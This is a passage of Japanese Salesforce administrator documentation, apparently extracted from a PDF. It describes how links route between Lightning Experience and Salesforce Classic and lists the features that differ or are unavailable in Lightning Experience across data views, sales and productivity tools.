ヘルプメニューの項目はカスタマイズできません。カスタムヘルプリンクを作成した場合、それらのリンクは
引き続き Salesforce Classic フレームページ内の [このページのヘルプ] リンクから使用できます。ただし、カスタ
ムヘルプリンクは、新しいヘルプメニューには表示されません。

Lightning Experience の考慮事項

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

このリリースの Lightning Experienceには、Salesforce Classicの機能のうち、含まれて
いないものがあります。次のトピックを参照して、ビジネスに不可欠な機能が
このリリースで制限されたり、使用できなくなったりしていないか確認してく
ださい。この情報は、Lightning Experience への切り替え時にユーザに対して行う
トレーニングにも役立ちます。

ユーザが Lightning Experience と Salesforce Classic 間を切り替えるときに発生する
可能性がある問題
Lightning ExperienceとSalesforce Classic間の切り替えはすばやく簡単にできます。
ただし、インターフェース間の切り替えは基盤となる URL ルーティングロ
ジックに影響し、リンクの解決時に予期しない結果になる場合があります。つまり、組織にLightning Experience

の使用が許可された一部のユーザとSalesforce Classicを引き続き使用するユーザが混在している場合は、ブッ
クマーク、メール内の共有リンク、または Chatter 投稿に影響が出る可能性があります。
Lightning Experience と Salesforce Classic 間の機能の違い
ここでは、新しいインターフェースで使用できないか、Salesforce Classic で使用していた機能と違いがある
Salesforce 機能について説明します。ユーザは、新しいインターフェースでまだサポートされていない機能
も引き続き使用できます。その場合は、Salesforce Classic に簡単に切り替えて、作業を続行します。
Chatter が無効な場合の Lightning Experience の機能制限
組織で Chatter を使用していない場合、Lightning Experience インターフェースのいくつかの機能を使用できま
せん。ここでは、Lightning Experienceでの変更点と、Chatter なしでは使用できない重要な機能を確認します。

関連トピック:

Lightning Experience ロードマップ

230

Lightning Experience の考慮事項組織の Lightning Experience の評価とロールアウト



ユーザが Lightning Experience と Salesforce Classic 間を切り替えると
きに発生する可能性がある問題

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Experienceと Salesforce Classic間の切り替えはすばやく簡単にできます。た
だし、インターフェース間の切り替えは基盤となる URL ルーティングロジック
に影響し、リンクの解決時に予期しない結果になる場合があります。つまり、
組織にLightning Experienceの使用が許可された一部のユーザとSalesforce Classicを引
き続き使用するユーザが混在している場合は、ブックマーク、メール内の共有
リンク、または Chatter 投稿に影響が出る可能性があります。
Lightning Experience をユーザに対して有効にするときは、一部のユーザまたはす
べてのユーザが、デフォルトの推奨環境として新しいインターフェースをすぐ
に取得するように設定できます。従来のインターフェースに留まることを選択
した、Lightning Experience が有効なユーザのデフォルト環境は Salesforce Classic で
す。どちらの方法でも、ユーザがスイッチャを使用してインターフェースを切り替えるたびに、ユーザのデ
フォルト設定は現在の環境に合わせてリセットされます。この動作に基づく一般的なリンクルーティングの相
互作用を次に示します。

リンクが開く場所ユーザのデフォルト環境ユーザに「Lightning
Experience ユーザ」権限

があるか?

Lightning Experience でサポートされているページの場
合、リンクは (Salesforce Classic で生成されたリンクで
も) 新しいインターフェースで開きます。
サポートされていないページへのリンクは Salesforce

Classicにリダイレクトされ、新しいタブで開きます。

Lightning Experienceあり

この一時的なリダイレクトでユーザのデフォルト設
定がSalesforce Classicに変更されることはありません。
次回ユーザが新しいインターフェースでサポートさ
れているリンクを選択するときに、Salesforce Classic タ
ブは再読み込みされ、リンクが Lightning Experience で
開きます。
Lightning Experience リンクを他のユーザと共有する場
合、そのユーザに必ず最初に Salesforce にログインす
るように指示してください。ログインしていないと、
リンクをクリックしたときにログインを促すメッセー
ジが表示され、ホームページにリダイレクトされま
す。

通常、リンクは Salesforce Classic で開きます。
リンクが Lightning Experience で生成された場合 (URL に
/one/one.app が含まれる場合)、リンクは Lightning

Salesforce Classicあり

Experience で開きます。ユーザのデフォルト設定は
Lightning Experience に変更されません。
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リンクが開く場所ユーザのデフォルト環境ユーザに「Lightning
Experience ユーザ」権限

があるか?

リンクは Salesforce Classic のみで開きます。
リンクが Lightning Experience で生成された場合 (URL に
/one/one.app が含まれる場合)、ユーザは Lightning

Salesforce Classicなし

Experience にアクセスできないためリンクは開きませ
ん。

これらのルーティング動作を考慮すると、ユーザが Lightning Experienceリンクを Salesforce Classicユーザと共有し
ている場合、混乱が生じる可能性があることがわかります。この問題を避けるため、緊密に連携して作業する
すべてのユーザに対して新しいインターフェースを有効にすることをお勧めします。
また、この 2 つの環境間でリンクとブックマークがどのように動作するかを Lightning Experienceユーザに説明す
ることもお勧めします。

関連トピック:

Lightning Experience 導入後も Salesforce Classic は使用可能

Lightning Experience と Salesforce Classic 間の機能の違い
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ここでは、新しいインターフェースで使用できないか、Salesforce Classicで使用し
ていた機能と違いがある Salesforce 機能について説明します。ユーザは、新しい
インターフェースでまだサポートされていない機能も引き続き使用できます。
その場合は、Salesforce Classic に簡単に切り替えて、作業を続行します。

データアクセスおよびビュー: Lightning Experience で使用できない機能とその新
機能
セールス機能: Lightning Experience で使用できない機能とその新機能
生産性機能: Lightning Experience で使用できない機能とその新機能
カスタマーサービス機能: Lightning Experience で使用できない機能とその新機能
レポートおよびダッシュボード: Lightning Experience で使用できない機能とその新機能
ファイルおよびコンテンツ: Lightning Experience で使用できない機能とその新機能
Chatter: Lightning Experience で使用できない機能とその新機能
その他の Salesforce 製品: Lightning Experience で使用できない機能とその新機能
ナビゲーションおよびアクション: Lightning Experience で使用できない機能とその新機能
検索: Lightning Experience で使用できない機能とその新機能
組織の設定: Lightning Experience で使用できない機能とその新機能
データのインポートおよび管理: Lightning Experience で使用できない機能とその新機能
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プロセスの自動化: Lightning Experience で使用できない機能とその新機能
セキュリティ: Lightning Experience で使用できない機能とその新機能
ポイント & クリック操作によるカスタマイズ: Lightning Experience で使用できない機能とその新機能
プログラムによるカスタマイズ: Lightning Experience で使用できない機能とその新機能
アプリケーションおよびパッケージ: Lightning Experience で使用できない機能とその新機能

関連トピック:

Lightning Experience でサポートされるブラウザ
Lightning Experience 導入後も Salesforce Classic は使用可能

データアクセスおよびビュー: Lightning Experience で使用できない機能とその
新機能
ここでは、Lightning Experienceでデータにアクセスするときの注意事項について説明します。新しいユーザイン
ターフェースでは、Salesforce データおよび機能の一部を使用できません。また、一部の機能は Salesforce Classic

と同等ではありません。

オブジェクト
Lightning Experienceでは、次のSalesforceオブジェクトを使用できます。このリリースでは、下記以外の標準オブ
ジェクトはサポートされていません。
• 取引先
• 納入商品
• カレンダー
• キャンペーン
• ケース
• Chatter

• 取引先責任者
• 契約
• ダッシュボード
• 行動
• ファイル
• グループ
• ホーム
• リード
• メモ
• 商談
• 注文
• 人
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• 個人取引先
• 価格表
• 商品
• 見積 ([見積] ホームページからの見積の作成はサポートされていません)

• レポート
• ToDo

• 作業指示
• カスタムオブジェクト
• 外部オブジェクト

項目
• Lightning Experience にはサポートされないオブジェクトの項目が表示されますが、これらの項目は参照のみ

で、関連レコードへのリンクが含まれていません。
• Salesforce Classicの参照項目には、共有権限に関係なくレコード名が表示されるため、ユーザがアクセスでき

ないレコードの名前が表示されることがあります。Lightning Experienceと Salesforce1モバイルアプリケーショ
ンでは参照項目が共有権限に従うため、ユーザがアクセスできるレコード名のみ表示されます。ただし所
有者参照項目は例外で、共有権限に関係なくレコードの所有者名が常に表示されます。

関連リスト
• Lightning Experience では、サポートされる標準オブジェクトとカスタムオブジェクトの関連リストを使用で

きます。
Lightning Experience でサポートされないオブジェクトの関連リストは、オブジェクトのページレイアウトに
含まれていても、インターフェースには一切表示されません。

• Lightning Experienceには、従来の [メモ & 添付ファイル] 関連リストのほか、新しい [メモ] および [ファイル] 関
連リストがあります。Salesforce Filesまたは拡張されたメモ機能を使用している場合は、これらの関連リスト
をすべてオブジェクトページレイアウトに含めます。
– ファイルと添付ファイルは、これまでと同様 2 つの異なるオブジェクト種別です。添付ファイルは、

ファイルとは異なり、特定のレコードにのみ関連付けられ、それ以上共有することはできません。
Lightning Experienceでは、[メモ & 添付ファイル] 関連リストにファイルがアップロードされます。Spring '16

より前のSalesforce Classicでは、この関連リストには常に、ファイルではなく、添付ファイルがアップロー
ドされていました。つまり、既存の組織の場合、[メモ & 添付ファイル] リストに、Salesforce Classicでアッ
プロードされた添付ファイルとLightning Experienceで追加されたファイルが混在している可能性がありま
す。
API では、[メモ & 添付ファイル] リストから添付ファイルを取得する既存のインテグレーションには、
Lightning Experienceでリストにアップロードされたファイルは含まれません。ファイルと添付ファイルを
取得するには、新しい API コールが必要です。

– Salesforce Classicの従来のメモ取りツールで作成されたメモは、[メモ & 添付ファイル] 関連リストからのみ
使用できます。拡張バージョンのメモで作成したメモは、[メモ] 関連リストにのみ表示されます。

• Group Edition ユーザの場合、[取引先責任者] 関連リストは取引先には表示されません。
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• 取引先責任者レコードで [商談] 関連リストを使用して新規または既存の商談を取引先責任者に追加すると、
その取引先責任者が商談の [取引先責任者の役割] 関連リストに追加されます。

• Lightning Experienceでは、商品の標準とカスタムの価格表エントリが、1 つの [価格表] 関連リストにマージさ
れます。この点は、[標準価格] と [価格表] が別々の関連リストである Salesforce Classic と異なります。組織で
標準価格しか使用していないため、[価格表] 関連リストをすでに削除している場合は、[商品] ページレイア
ウトに戻して、ユーザが Lightning Experience で標準価格を表示できるようにします。

• Lightning Experienceでは、活動をサポートするオブジェクトの詳細ページに、他の関連リストと共に [活動予
定] および [活動履歴] 関連リストが表示されることはありません。代わりに、活動タイムラインが表示され
ます。活動をサポートするオブジェクトには、商談、リード、取引先、取引先責任者、契約などと、活動
を有効化したカスタムオブジェクトがあります。

オブジェクトのホーム
Lightning Experience のオブジェクトのホームページでは、次の機能を使用できません。
• 簡易作成ツール
• オブジェクト固有のレポートへのアクセス
• [ツール] セクションのすべてのツール
• サマリーレポートツール

リストビュー
Lightning Experience では、次のリストビュー機能を使用できません。
• リストから直接レコードをフォロー
• リストビューをグループと共有
• リストビューのコピー
• 一部の一括アクション (リストの複数項目の一括変更または削除、一括メール送信など)

• カスタムアクション
• 取引先、取引先責任者、およびリードのリストビューでのドラッグアンドドロップによるスケジュール
• フィード
• リストの印刷用ビューを作成するための アイコン
Lightning Experience では、リストビューの表示と動作が異なります。
• リストビューを作成するとき、新しいページには移動しません。代わりに、同じページ上でポップアップ

ダイアログボックスにリストビュー名を入力します。ページの右側でスライド表示されるパネルで、リス
トをカスタマイズするための検索条件を追加します。

• リストビューは、[すべて] または [私の] を選択することでのみ制限できます。キュー、キャンペーン、私
の取引先チーム、私の商談チーム、価格表による制限など、他のオプションは使用できません。

• リストビューのナビゲーションも変更されました。リストビューは無限にスクロールできるため、ページ
あたりの表示レコード数は指定できません。また、矢印ボタンでページを移動したり、結果の特定のペー
ジにジャンプしたりすることはできません。レコード名の先頭の文字を指定してレコードにジャンプする
ことはできません。
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• ドロップダウンメニューには、最大 2,000 個のビューが表示されます。メニューには、スクロールダウンす
ると、50 件のバッチ単位でビューが読み込まれます。最近参照したリストが最初に表示され、次にその他
のリストビューがアルファベット順に表示されます。11 件以上のリストビューがある場合にのみ、最近参
照したリストと検索ボックスが表示されます。

• 列ヘッダーを表の新しい位置にドラッグして列の順序を変更することはできません。代わりに、表示され
る列とその順序を変更するには、[リストビューコントロール] ドロップダウンメニューから [表示する項目
を選択]を選択します。Lightning Experienceで列を追加または削除すると、すべてのカスタム列幅が削除され
ます。列幅を調整するには、Salesforce Classic に切り替えます。

• リストビューに含まれるレコードタイプが 1 種類のみの場合は、リストビューの項目をインライン編集で
きます。ただし、リストビューでは OR 句が含まれる検索条件ロジックを使用できません。複数のレコード
の選択済み項目を編集して、まとめて保存できます。一部の標準項目とカスタム項目はインラインで編集
できません。

• 連動選択リスト項目を含むリストビューは、インライン編集できます。ただし、連動選択リスト項目は編
集できず、リストビュー内の他の項目のみを編集できます。

• リストビューの複数の項目を選択して、一括アクションを実行できます。ただし、レコードを一括編集す
ることはできません。レコードの一括編集とは、複数のレコードを選択し、1 つのレコードのある項目を変
更して、その変更をすべてのレコードにグローバルに適用することです。

• リストビューは、スクロールせずに一度に 50 個の項目のみを読み込みます。50 個を超える項目を選択する
には、スクロールして最後の項目を読み込んでから、項目の範囲を選択します。

• 使用できる行レベルのアクションは制限されます。ほとんどのオブジェクトで使用可能なアクションは編
集と削除です。リードでは、さらに 2 つのアクション (取引の開始、コピー) を使用できます。ファイルで
使用可能なアクションは、編集、削除、およびダウンロードです。

• カスタムボタンを使用できますが、レコードアクションまたは一括編集や一括削除などの一括処理を実行
するように設定することはできません。たとえば、システム管理者はVisualforceページを起動するボタンを
作成できます。

• 検索条件では、相対的な日付範囲 (今日、明日、昨日、今週、今月、当四半期、今年、先週、先月、前四半
期、昨年) のみがサポートされます。

• Lightning Experienceのリストビューでは、ID 項目の検索条件として「次の文字で始まる」はサポートされてい
ません。ID 項目は、レコードを識別する 15 文字の項目です。たとえば、取引先責任者オブジェクトの [取
引先 ID]項目は取引先責任者が関連付けられている取引先を識別します。その他の項目では検索条件とし
て「次の文字列で始まる」を使用できます。

• 検索条件ロジックステートメントでは、NOT は括弧内の式には適用されません。たとえば、式「1 AND NOT

(2 AND 3)」は「1 AND (NOT 2 AND 3)」として評価されます。この検索条件結果では、期待に反して
レコードは返されません。

• 検索条件では、符号付き 23 ビット整数の最小値～最大値、または 1 ～ 2,147,483,648 のみがサポートされま
す。この範囲外の値では検索条件が無効になります。

• Lightning Experience では、標準オブジェクトとカスタムオブジェクトごとにホームページに表示される最近
のレコードリストの名前が異なります。この名前は [最近参照したレコード] です。このビューの削除、絞
り込み、編集はできません。Salesforceシステム管理者は、[設定] のオブジェクトマネージャを使用し、この
ビューの列を選択して順序を指定できます。ユーザは、列ヘッダーの内部をクリックしてビューの項目を
並び替えることができます。列ヘッダー内の矢印は、リスト項目が昇順または降順のどちらで並んでいる
かを示します。
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• ほとんどの標準オブジェクトについて、ドロップダウンリストから [最近参照したレコード] に似た名前の
別のリストビューを選択できます。このビューの名前には、オブジェクトの名前が含まれます。たとえば、
取引先の場合、このリストビューの名前は [最近参照した取引先] になります。[最近参照したレコード] と
[最近参照したオブジェクト] の 2 つのリストビューには同じレコードが表示されます。[最近参照したオブ
ジェクト] リストビューの削除、絞り込み、編集はできません。ユーザは、レコードの並び替えと、このリ
ストビューのデータのグラフ化ができます。Salesforce Classicに切り替えると、リストビューに表示される列
の順序を変更できます。ユーザが Lightning Experience に戻ると、列は新しい順序で表示されます。

Kanban ビュー
• [最近参照したデータ] リストビューから Kanban ビューを使用することはできません。ユーザは別の

リストビューを選択してから、Kanban ビューに切り替える必要があります。
• Kanban ビューには最大 200 カードが表示されます。
• 列は無効な選択リスト項目からは作成されません。
• 無効な状態または状況のレコードは、Kanban ビューには含まれません。
• サマリーは通貨項目でのみ作成できます。
• レコードは、[グループ化単位]で選択された項目がページレイアウトに含まれている場合にのみ表示

されます。
• レコードに [グループ化単位] 項目の null 値が含まれている場合、そのレコードは Kanban ビューには

表示されません。
• [グループ化単位]項目がレコードタイプのページレイアウトに含まれ、レコードタイプに関連付けら

れたレコードが存在する場合、そのレコードタイプのサブタブが作成されます。
• タッチスクリーンではドラッグアンドドロップ機能がサポートされません。

商談
• 期限切れの ToDo がある商談、活動予定のない商談、または過去 30 日間に活動のない商談ではユーザ

にアラートが表示されます。アラートはカスタマイズできません。
• 商談を [売上予測分類] 項目でグループ化することはできません。

リード
• Kanban ビューでリードを変換することはできません。
• 状態が [取引開始済み] の場合は、リード状況値の列が作成されません。

契約
• Kanban ビューで契約を有効にすることはできません。
• 標準の契約状況が [有効] の列は作成されません。
• 契約を [所有者に対する終了通知] 項目でグループ化することはできません。

データの操作
データの作成および編集

Lightning Experience では、レコードの [詳細] タブにある項目のインライン編集を使用できます。ただし、レ
コードの強調表示パネルにある個々の項目は編集できません。
Lightning Experience では、次の機能を使用できません。
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• レコードのインライン編集
• 複数行レイアウトの編集

データの印刷
Lightning Experience では、次の機能を使用できません。
• ページの印刷
• PDF の生成

Salesforce サイドバー
Lightning Experienceでは、Salesforce Classicのほとんどのページの左側に表示される Salesforceサイドバーは複製
されません。次のようなサイドバーの項目も含まれません。
• [タグ] リンクと [最近参照したタグ] ドロップダウンリスト
• [新規作成] ドロップダウンリスト: ナビゲーションバーとオブジェクトのホームページにある [新規]ボタ

ンを使用してください
• [カレンダー] ショートカット: ナビゲーションバーから [カレンダー] にアクセスしてください
• [最近使ったデータ] リスト: [ホーム] ページまたはオブジェクトのホームページで [最近使ったデータ] を

参照してください
• お知らせ
• カスタムリンク

ごみ箱
ごみ箱は使用できません。Lightning Experience で削除されたレコードもごみ箱に入りますが、ユーザが最近
削除されたレコードを表示または復元するには、Salesforce Classic に切り替える必要があります。

アクセシビリティ
• アクセシビリティモードは、Lightning Experienceでは必要がないため、提供されません。このインターフェー

スは最新のアクセシビリティ基準に従って設計されているため、スクリーンリーダーはネイティブでサポー
トされています。

• 色覚障害用パレットは、Lightning Experience では使用できません。
• アクセシビリティモードを有効にしているユーザは、Salesforce Classicに切り替えてから、レポートビルダー

を使用してレポートを作成および編集する必要があります。
アクセシビリティモードを有効にしているユーザは、ダッシュボードエディタを使用して、Lightning Experience

ダッシュボードを作成および編集できますが、ダッシュボードエディタの使用時に十分に利用できる操作
性を得るには Salesforce Classic に切り替える必要があります。

関連トピック:

生産性機能: Lightning Experience で使用できない機能とその新機能
ファイルおよびコンテンツ: Lightning Experience で使用できない機能とその新機能
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セールス機能: Lightning Experience で使用できない機能とその新機能
ここでは、Lightning Experienceで営業チームに発生する可能性がある問題について説明します。新しいユーザイ
ンターフェースでは、Salesforceデータおよび機能の一部を使用できません。また、一部の機能はSalesforce Classic

と同等ではありません。

セールス機能
ソーシャル取引先、取引先責任者、およびリード

• Lightning Experience で使用できるソーシャルネットワークは Twitter のみです。
• Twitter は、独自のカードスタイルで、レコードページに直接表示されます。

商談、リード、見積、およびカスタムオブジェクトのパス
• パスの各ステップには、最大 5 個の主要項目と 1,000 文字のリッチテキストを含めることができます。
• ページレイアウトを使用して、異なるステップの異なる項目を必須にすることはできません。ただし、

パスステップに基づいて入力規則を設定できます。
• パスを使用して商談フェーズを移動する場合、連動項目は無視されます。
• ページレイアウトで項目に「参照のみ」または「必須」権限を設定した場合、パスではそれらの権限は

適用されません。
• 制限ではありませんが、対応するパスのあるレコードタイプを削除すると、そのパスも削除されます。
• 入力規則は、項目の近くに表示されるように設定しても、ページレベルのメッセージとして表示されま

す。
• リードのパスの場合、[未評価] 状況をパスの先頭に置くことをお勧めします。

取引先責任者-to-複数取引先
• [関連取引先] および [関連取引先責任者] 関連リストでは、[取引先と取引先責任者のリレーション] オブ

ジェクトに固有の行レベルのアクションのみを使用できます。したがって、取引先と取引先責任者のリ
レーションを参照または削除するアクションは表示されますが、取引先責任者レコードや取引先レコー
ドを編集または削除するアクションは表示されません。

• 取引先責任者が取引先の [関連取引先責任者] 関連リストから作成されると、その取引先責任者の郵送先
住所に取引先の請求先住所が入力されません。また、取引先責任者レコードでは取引先の電話番号と
Fax 番号が取得されません。

• 個人取引先を使用している場合は、Salesforce Classic に切り替えて、営業担当が使用する個人取引先ペー
ジレイアウトに [関連取引先] 関連リストと [関連取引先責任者] 関連リストを追加します。

Lightning Experience で使用できない機能
• カスタマイザブル売上予測 (コラボレーション売上予測は Lightning Experience で使用可能)

• ディビジョン
• ディビジョンの一括移行
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取引先
個人取引先 (ベータ)

• 一部の個人取引先機能は、Lightning Experience の [設定] からはアクセスできません。Salesforce Classic に切
り替えて、個人取引先のレコードタイプ、ページレイアウト、およびコンパクトレイアウトを設定しま
す。

• 一部の参照項目では、個人取引先アイコンの代わりに取引先アイコンまたは取引先責任者アイコンが表
示されます。

• 個人取引先のケースを作成するときに、ユーザが個人取引先を [取引先責任者名]または [取引先名]項
目に追加した場合、ケースが保存されるまでもう一方の項目は自動入力されません。

• 個人取引先レコードからメールを作成する場合、取引先責任者レコードからメールを作成する場合のよ
うに、[宛先] 項目に個人取引先のメールアドレスが自動入力されません。

• テンプレートを使用して法人取引先からメールを作成する場合、テンプレートに個人取引先の差し込み
項目が含まれ、メールを送信できなくなることがあります。同様に、テンプレートを使用して個人取引
先からメールを作成する場合、テンプレートに法人取引先の差し込み項目が含まれ、メールを送信でき
なくなることがあります。

• 個人取引先レコードの [ケース] 関連リストには、[取引先名]項目にリストされている個人取引先を含む
ケースのみが表示されます。個人取引先が [取引先責任者名] 項目にリストされている場合、そのケー
スは関連リストに表示されません。

• 個人取引先レコードの [メモ] 関連リストには、関連取引先としてリストされている個人取引先を含むメ
モのみが表示されます。個人取引先が関連取引先責任者としてのみリストされている場合、そのメモは
[メモ] ホームページに表示されません。

• 個人取引先はマージできません。
取引先の [取引先責任者] 関連リスト

• 取引先責任者が取引先の [取引先責任者] 関連リストから作成されると、その取引先責任者の郵送先住所
に取引先の請求先住所が入力されません。

• Group Edition ユーザの場合、[取引先責任者] 関連リストは取引先には表示されません。
取引先チーム

Lightning Experienceで取引先チームを表示、更新、削除することはできますが、Salesforce Classicと次の点が異
なります。
• ユーザは取引先チームメンバーを一度に 1 人のみ追加、編集、削除できます。
• 取引先所有者が変更されても、取引先チームは常に保持されます。
• 取引先責任者の組織の共有設定が非公開に設定されていても、取引先チームに追加された取引先責任者

はデフォルトで非公開にはなりません。
次の操作を行う場合は、Salesforce Classic に切り替えます。
• チームメンバーの表示順序を変更する。
• 1 つのボタンを使用して、すべてのチームメンバーのアクセスレベルを表示したり、すべてのチームメ

ンバーを削除したりする。
• 単一ページで複数の取引先チームメンバーを追加する。
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Lightning Experience で使用できない機能
• [取引先履歴] 関連リスト
• 取引先パートナー
• 取引先レコードの [取引先テリトリー] 関連リスト
• 取引先での取引先責任者の役割

キャンペーン
Lightning Experience で使用できない機能

• 階層をまたがったキャンペーン結果
• キャンペーンインフルエンス 1.0 (カスタマイズ可能なキャンペーンインフルエンスを使用可能)

• キャンペーンメンバーのコピー
• リストビューからの複数のキャンペーンメンバーの追加

コラボレーション売上予測
Lightning Experience で使用できない機能

• コラボレーション売上予測は、[設定] からはアクセスできません。Salesforce Classicに切り替えて、コラボ
レーション売上予測を設定します。

• 売上予測ページには次の考慮事項があります。
– 商品ファミリ売上予測は表示できません。
– 目標達成率情報は表示できません。
– 売上予測階層内でドリルダウンおよびドリルアップできますが、[ジャンプ先] は使用できません。
– 商談分割の詳細は、商談サマリーには表示されません。
– 処理インジケータは使用できません。
– 列幅は調整できません。

取引先責任者
取引先責任者の [商談] 関連リスト

• 取引先責任者レコードで [商談] 関連リストを使用して新規または既存の商談を取引先責任者に追加する
と、その取引先責任者が商談の [取引先責任者の役割] 関連リストに追加されます。

Lightning Experience で使用できない機能
• 取引先責任者階層
• 取引先での取引先責任者の役割
• ケースでの取引先責任者の役割
• 登録情報照会項目
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契約
Lightning Experience で使用できない機能

• [契約履歴] 関連リストは使用できません。
• 状況選択リスト値については、契約状況に基づいての絞り込みは行われません。したがって、すべての

状況値が選択リストに表示されます。
• [ドラフト] と [有効] 状況の選択リスト値は必須です。これらの選択リスト値でユーザに異なる表示ラベ

ルを表示するには、トランスレーションワークベンチを使用します。他の状況の選択リスト値を追加す
ることもできます。

リード
Lightning Experience で使用できない機能

• リード取引開始時に作成される取引先の自動項目入力

商談
商談チーム

Lightning Experienceで商談チームを表示、更新、削除することはできますが、Salesforce Classicと次の点が異な
ります。
• ユーザは商談チームメンバーを一度に 1 人のみ追加、編集、削除できます。
• 商談所有者が変更されても、手段チームは常に保持されます。
次の操作を行う場合は、Salesforce Classic に切り替えます。
• チームメンバーの表示順序を変更する。
• 1 つのボタンを使用して、すべてのチームメンバーのアクセスレベルを表示したり、すべてのチームメ

ンバーを削除したりする。
• 単一ページで複数の商談チームメンバーを追加する。

商談商品
• ユーザは一度に 200 件を超える商品を編集することはできません。
• Lightning Experienceではユーザがスケジュール設定された商品を追加できますが、商品スケジュールを有

効にする場合や、商品のスケジュールを設定または変更する場合は、Salesforce Classic に切り替える必要
があります。

• 商品のある商談をコピーすることはできません。
商談での取引先責任者の役割

ユーザは取引先責任者の役割を一度に 1 つのみ商談に追加できます。
Lightning Experience で使用できない機能

• 大規模商談アラート
• 商談分割
• 類似商談
• 複数行レイアウトの編集
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• 商談フェーズ履歴
商談所有者は [売上予測分類]項目を編集できません。[売上予測分類]には、レコードを保存するときに、
[フェーズ商談]項目の値に基づいて自動的に入力されます。Salesforce Classicでは、商談所有者が [売上予測
分類] の値を手動で編集できます。

注文
Lightning Experience で使用できない機能

• [注文履歴] および [注文商品履歴] 関連リストは使用できません。
• [注文商品] 関連リストの複数の品目を同時に追加または編集することはできません。
• 削減注文を作成したり、削除する商品を選択したりすることはできません。
• 商品の含まれる注文をコピーすると、その商品はコピーされません。注文をコピーしてから、必要に応

じて新しい注文に商品を追加してください。
• 状況選択リスト値については、注文状況に基づいての絞り込みは行われません。したがって、すべての

状況値が選択リストに表示されます。
• [ドラフト] と [有効] 状況の選択リスト値は必須です。これらの選択リスト値でユーザに異なる表示ラベ

ルを表示するには、トランスレーションワークベンチを使用します。他の状況の選択リスト値を追加す
ることもできます。

商品と価格表
商品と価格表

• Lightning Experience では、商品の標準とカスタムの価格表エントリが、1 つの [価格表] 関連リストにマー
ジされます。この点は、[標準価格] と [価格表] が別々の関連リストであるSalesforce Classicと異なります。
組織で標準価格しか使用していないため、[価格表] 関連リストをすでに削除している場合は、[商品] ペー
ジレイアウトに戻して、ユーザが Lightning Experience で標準価格を表示できるようにします。

• すでに有効化されている組織の場合、デフォルトでは [価格表に追加] ページに [標準価格フラグ] オプ
ションは含まれていません。[標準価格フラグ]を使用できるようにするには、[価格表エントリ] ページ
レイアウトに追加します。

• すでに有効化されている組織の場合、デフォルトでは [価格表] ホームページに [すべての価格表] リス
トビューは含まれていません。このリストビューを作成して、価格表レコードへのアクセス権をユーザ
に付与することをお勧めします。

Lightning Experience で使用できない機能
• 商品と価格表のアーカイブ

メモ: 代替策として、商品と価格表を無効にすると、すべてのレコードがそれらに関連付けられた
ままになります。

• 商品の収益および数量スケジュール
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テリトリー管理とエンタープライズテリトリー管理
テリトリー管理

元のテリトリー管理は、Lightning Experienceの [設定] ツリーに表示されます。そこから、この機能の有効化、
設定、およびメンテナンスができます。テリトリー情報、割り当て、およびレポートは、Salesforce Classicで
のみ使用および表示できます。

エンタープライズテリトリー管理
エンタープライズテリトリー管理を設定するには、テリトリー割り当てモデルまたはルールの作成や更新、
テリトリーのレコードへの割り当て、またはテリトリー割り当ての表示を行い、Salesforce Classicに切り替え
ます。ただし、エンタープライズテリトリー管理設定で管理されているレコードのアクセスコントロール
は Lightning Experience に適用されます。

生産性機能: Lightning Experience で使用できない機能とその新機能
Lightning ExperienceでSalesforce生産性ツールを使用するときの注意事項について説明します。新しいユーザイン
ターフェースでは、一部の Salesforce 機能を使用できません。また、一部の機能は Salesforce Classic と同等ではあ
りません。

ホーム
Salesforce ホームページは Lightning Experience で刷新されました。ホームは営業ユーザの最優先事項に焦点を絞
り、営業担当者の四半期営業パフォーマンスと、リードおよび商談に関する通知が表示されるようになりまし
た。
Lightning Experience では使用できないホーム機能

• アラートバナー
• Chatter フィードおよびパブリッシャー
• おすすめ
• フルカレンダー
ホームには当日の今後の行動が表示され、その日にスケジュールされたすべての行動を表示するリンクが
含まれます。ただし、Salesforce Classic ホームページにあるようなフルカレンダーは含まれません。代わり
に、ナビゲーションバーから [カレンダー] 項目にアクセスできます。

[グローバルアクション] メニュー
Lightning Experienceの [グローバルアクション]メニューのアクションは、グローバルパブリッシャーレイアウト
の [Salesforce1およびLightning Experienceアクション]セクションにあるグローバルアクションから取得されます。
Lightning Experienceでサポートされていないオブジェクトに関連付けられたアクションは、メニューには表示さ
れません。また、[グローバルアクション] メニューでは、標準の Chatter アクション ([投稿]、[ファイル]、[アン
ケート]、[リンク]、[質問]、[感謝]) はサポートされていません。

活動: 行動と ToDo

Lightning Experienceでは異なる動作をするか使用できない全体的な活動機能として、活動の表示と編集、活動ア
ラーム、繰り返し活動とフォローアップ活動、活動関連リストがあります。
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活動の表示と編集
Lightning Experienceでは、行動と ToDo のリストビューが使用できません。ユーザは、ロール階層内で自分よ
り下位のユーザが所有する行動と ToDo を編集できません。ただし、レポートを使用して、ロール階層内で
自分より下位のユーザが所有する行動と ToDo を参照できます。ToDo リストの代理ビューを選択してロール
階層内で自分より下位のユーザに再度割り当てた ToDo も参照できます。

活動アラーム
ユーザは、活動アラーム (今後の行動または ToDo 期日のアラーム) の設定と参照を行うことができません。

定期的な行動
Lightning Experienceでは、定期的な行動の作成や編集など、繰り返しの行動がサポートされません。ただし、
Salesforce Classic で作成された定期的な行動の個々の行動については参照および編集可能です。

フォローアップ行動
Lightning Experience では、レコードの行動を作成するための [フォローアップ行動の作成] ボタンが表示され
ません。代わりに、商談、リード、取引先、または取引先責任者のレコードのコンポーザによって、行動
の [名前] および [関連先] 項目が事前に入力されます。

活動タイムラインと活動関連リスト
Lightning Experienceでは、活動をサポートするオブジェクトの詳細ページに、他の関連リストと共に [活動予
定] または [活動履歴] が表示されることはありません。代わりに、活動タイムラインが表示されます。活動
をサポートするオブジェクトとして、商談、リード、取引先、取引先責任者などと、活動を有効化したカ
スタムオブジェクトがあります。Lightning アプリケーションビルダーを使用すると、活動タイムラインを
カスタマイズできます。
将来から過去へのすべての活動を表すため、活動タイムラインには [活動予定] 関連リストとは逆の順序で
活動予定が表示されます。[次のステップ] には、タイムラインによって時系列で上から下へ順に活動予定
が表示されます。日付のない ToDo は上部に、期限切れの ToDo は最後に表示されます。

活動タイムラインでの項目の表示と順序
活動タイムラインでは、行動および ToDo のコンパクトレイアウトを使用して、行動、ToDo、および活動ロ
